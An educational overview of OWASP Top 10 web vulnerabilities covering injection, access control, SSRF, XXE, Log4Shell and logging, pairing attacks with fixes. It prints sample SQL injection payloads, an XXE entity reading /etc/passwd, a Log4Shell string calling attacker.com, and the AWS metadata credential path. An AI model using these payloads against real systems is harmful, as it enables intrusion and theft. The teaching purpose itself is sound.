🏆 OWASP Top 10 Overview
OWASP (Open Web Application Security Project) is a nonprofit foundation producing free, open security resources. The OWASP Top 10 — last updated in 2021 — is the de facto standard for web application security awareness, used as a baseline in compliance frameworks (PCI DSS, SOC 2) and security programs worldwide.
| Rank | Category | Key CWEs | Common In |
|---|---|---|---|
| A01 | Broken Access Control | CWE-200, CWE-284, CWE-285 | CRUD apps, admin panels, APIs |
| A02 | Cryptographic Failures | CWE-259, CWE-327, CWE-331 | Data storage, transit, auth |
| A03 | Injection | CWE-89 (SQL), CWE-79 (XSS), CWE-77 | All web apps |
| A04 | Insecure Design | CWE-73, CWE-183, CWE-209 | Systems without threat modeling |
| A05 | Security Misconfiguration | CWE-16, CWE-611 | Cloud, containers, frameworks |
| A06 | Vulnerable & Outdated Components | CWE-1104 | All apps with dependencies |
| A07 | Identification & Auth Failures | CWE-297, CWE-287, CWE-384 | Login flows, session management |
| A08 | Software & Data Integrity Failures | CWE-829, CWE-494 | CI/CD pipelines, update mechanisms |
| A09 | Security Logging & Monitoring Failures | CWE-117, CWE-223, CWE-778 | All production systems |
| A10 | Server-Side Request Forgery (SSRF) | CWE-918 | Apps fetching remote URLs |
OWASP ASVS — The Next Level
The Application Security Verification Standard (ASVS) provides detailed, testable security requirements organized in three levels (L1 for all apps, L2 for most business apps, L3 for high-value targets). Use the Top 10 for awareness; use ASVS for verification. ASVS 4.0 covers 286 requirements across 14 chapters.
⚡ Injection & Broken Authentication
SQL Injection Types
- Union-based — uses UNION SELECT to append attacker-controlled query results to the original response. Requires the same column count and compatible data types.
- Blind (Boolean-based) — no data returned directly; infers data by asking true/false questions. Slow but reliable. "AND 1=1" vs "AND 1=2" produces different responses.
- Time-based blind — uses SLEEP() or WAITFOR DELAY to infer data when no visible difference exists between true/false responses.
- Out-of-band — exfiltrates data via DNS or HTTP requests (e.g., INTO OUTFILE, xp_cmdshell). Bypasses input filters that block common characters.
XSS Types
- Reflected XSS — malicious script in the request is reflected in the response. Requires victim to click a crafted link. Stored in the URL, not the server.
- Stored (Persistent) XSS — payload stored in the database and served to all users viewing the content. Higher severity — no social engineering needed per victim.
- DOM-based XSS — script executes in the victim's browser by manipulating the DOM using attacker-controlled source data (location.hash, document.referrer). Server never sees the payload.
- All three can steal cookies, capture keystrokes, redirect users, or deliver malware.
Other Injection Types
- SSTI (Server-Side Template Injection) — attacker-controlled input evaluated by a template engine (Jinja2, Twig, Smarty). Can lead to RCE. Test with
{{7*7}}— if 49 is returned, SSTI exists. - Command Injection — user input passed to OS shell functions (system(), exec(), popen()). Attacker appends shell metacharacters (;, |, &&) to run arbitrary commands.
- LDAP Injection — malicious input modifies LDAP queries. Can bypass authentication or enumerate directory information.
- CRLF Injection — carriage return / line feed characters injected into HTTP headers, enabling header splitting, log injection, or response splitting.
Broken Authentication
- Credential stuffing — using breached username/password pairs (from HaveIBeenPwned, dark web) against your app. Effective because users reuse passwords.
- Password spraying — trying a few common passwords (Spring2026!, Password1) across many accounts. Avoids lockout policies that trigger on multiple attempts per account.
- Brute force — exhaustive attempt of all passwords against one account. Mitigated by lockout, CAPTCHA, and rate limiting.
- Session management failures — predictable session IDs, tokens exposed in URLs, missing invalidation on logout, session tokens in logs.
# SQL Injection payloads
' OR '1'='1 # Boolean bypass
' UNION SELECT null,username,password FROM users-- # Union-based data extraction
'; WAITFOR DELAY '0:0:5'-- # Time-based (MSSQL)
' AND SLEEP(5)-- # Time-based (MySQL)
# Fix: Parameterized query (Python)
cursor.execute("SELECT * FROM users WHERE username = %s AND password_hash = %s",
(username, password_hash))
# Fix: Stored procedure (SQL Server)
EXEC sp_GetUser @username = @input_username
🔒 Cryptographic & Access Control Failures
Sensitive Data Exposure
- PII, passwords, or tokens stored in plaintext in databases or log files.
- Sensitive data transmitted over HTTP instead of HTTPS.
- Weak encryption algorithms (DES, RC4, MD5 for encryption) applied to stored data.
- Encryption keys stored alongside encrypted data (defeating the purpose).
- PII in URL query strings (appears in server logs, browser history, Referer headers).
- Cloud storage buckets configured for public read (S3, GCS) containing sensitive files.
Broken Access Control
- IDOR (Insecure Direct Object Reference) — changing an ID in a URL or request body to access another user's data. "GET /api/orders/12345" — increment to access order 12346.
- Forced browsing — directly accessing URLs that should require authorization. Admin panels at /admin, backup files at /backup.zip.
- Privilege escalation — horizontal (access other users' resources) or vertical (gain higher privilege roles).
- Missing function-level access control — API endpoints that perform privileged actions without verifying the caller's role.
- CORS misconfiguration — reflecting arbitrary Origins or using
Access-Control-Allow-Origin: *with credentials.
# IDOR Example — insecure
# GET /api/invoices/1042 returns invoice for user A
# Attacker (user B) changes ID:
# GET /api/invoices/1043 -- returns user A's invoice
# IDOR Fix — always verify ownership server-side
def get_invoice(invoice_id, requesting_user_id):
invoice = db.query("SELECT * FROM invoices WHERE id = ?", invoice_id)
if invoice.owner_id != requesting_user_id:
raise ForbiddenError("Access denied") # 403, not 404
return invoice
# CORS misconfiguration — insecure
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true # INVALID combination — browsers ignore, but still a signal
# CORS fix — explicitly allowlist origins
allowed_origins = ["https://app.example.com", "https://admin.example.com"]
if request.origin in allowed_origins:
response.headers["Access-Control-Allow-Origin"] = request.origin
🌐 SSRF, XXE & Security Misconfigurations
SSRF (Server-Side Request Forgery)
- The server fetches a URL supplied or influenced by the attacker — the request originates from the server's trusted network position.
- Cloud metadata endpoints — AWS IMDSv1 at 169.254.169.254/latest/meta-data/iam/security-credentials returns IAM keys. IMDSv2 mitigates this by requiring a session token header.
- Internal service enumeration — scanning internal IP ranges (10.x, 172.16.x, 192.168.x) through the vulnerable server.
- Can bypass firewall rules — the vulnerable server is inside the perimeter.
- Mitigate: validate and allowlist URLs; deny private IP ranges; use IMDSv2; segment internal services.
XXE (XML External Entity)
- XML parsers that process external entity declarations can be used to read local files, make SSRF requests, or cause DoS.
- File read —
<!ENTITY xxe SYSTEM "file:///etc/passwd">— the entity reference in the document is replaced with the file contents. - SSRF via XXE —
SYSTEM "http://internal-service/"— the XML parser makes an outbound HTTP request. - Billion laughs (DoS) — exponentially nested entity references expand to gigabytes in memory.
- Fix: disable external entity processing in your XML parser. In Java:
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true).
Security Misconfiguration
- Default credentials left unchanged (admin/admin, root/root on databases, admin panels).
- Verbose error messages exposing stack traces, framework versions, database schema.
- Unnecessary features enabled — debug endpoints, directory listing, unused HTTP methods.
- Open cloud storage buckets — S3 buckets configured for public-read containing sensitive data.
- Missing security headers — Content-Security-Policy, X-Frame-Options, HSTS.
- Unpatched software — running vulnerable versions of frameworks, libraries, or OS.
| Vulnerability | CVSS Range | Example Attack | Mitigation |
|---|---|---|---|
| SSRF | 7.5–10.0 | AWS metadata credential theft | URL allowlisting, IMDSv2, network segmentation |
| XXE | 7.5–9.1 | /etc/passwd file read via XML upload | Disable external entities in XML parser |
| Open S3 Bucket | 5.3–7.5 | Public access to customer PII exports | Block public access, enable bucket policies |
| Default Credentials | 9.8 | Admin panel access via admin/admin | Change all defaults, remove test accounts |
| Directory Listing | 5.0–6.5 | Enumeration of backup files, source code | Disable Options Indexes in web server config |
🚫 Vulnerable Components & Logging Failures
Log4Shell — A Case Study
- CVE-2021-44228 — CVSS 10.0. A JNDI injection vulnerability in the Apache Log4j 2 library.
- Attacker sends
${jndi:ldap://attacker.com/a}in any logged field (HTTP header, username, URL). Log4j fetches and executes arbitrary code. - Affected nearly every Java application — Log4j was in thousands of products including enterprise software, games (Minecraft), and cloud services.
- Disclosed December 2021; mass exploitation within hours of public disclosure.
- Key lesson: a single transitive dependency can compromise your entire application — even if you never directly called the vulnerable function.
CVE Lifecycle & Response
- Discovery — researcher or attacker finds the vulnerability.
- Responsible disclosure — researcher reports privately to vendor; vendor has time (typically 90 days) to patch before public disclosure. Coordinated by CERT/CC, Google Project Zero.
- CVE Assignment — CVE ID assigned; CVSS score calculated; NVD entry published.
- Patch release — vendor publishes fix; downstream projects update their dependency.
- Exploitation in the wild — attackers weaponize the public CVE; this is why patching lag is dangerous.
- Bug bounty programs — HackerOne, Bugcrowd pay researchers to find and report vulnerabilities rather than selling to exploit brokers.
Insufficient Logging & Monitoring
- The median time to detect a breach is 197 days (IBM Cost of a Data Breach 2023). Insufficient logging is a primary cause.
- Without logging, you cannot detect ongoing attacks, determine breach scope, or meet regulatory requirements (GDPR 72-hour notification).
- Security monitoring requires: centralized log aggregation, alerting rules, and a SOC (Security Operations Center) or MSSP to act on alerts.
- Key alerts: multiple failed logins, login from new geography, mass data download, privilege changes, security tool disabled.
- SIEM integration: forward application logs to Splunk, Elastic SIEM, or Microsoft Sentinel for correlation and alerting.
OWASP Top 10 Is a Minimum Baseline
The Top 10 covers the most common and impactful categories — but real applications have vulnerabilities beyond this list. Business logic flaws, race conditions, insecure file uploads, prototype pollution, and deserialization vulnerabilities are just as dangerous and frequently found in security assessments. Use the Top 10 to build awareness; use OWASP ASVS for comprehensive verification. A "Top 10 compliant" application is not necessarily secure.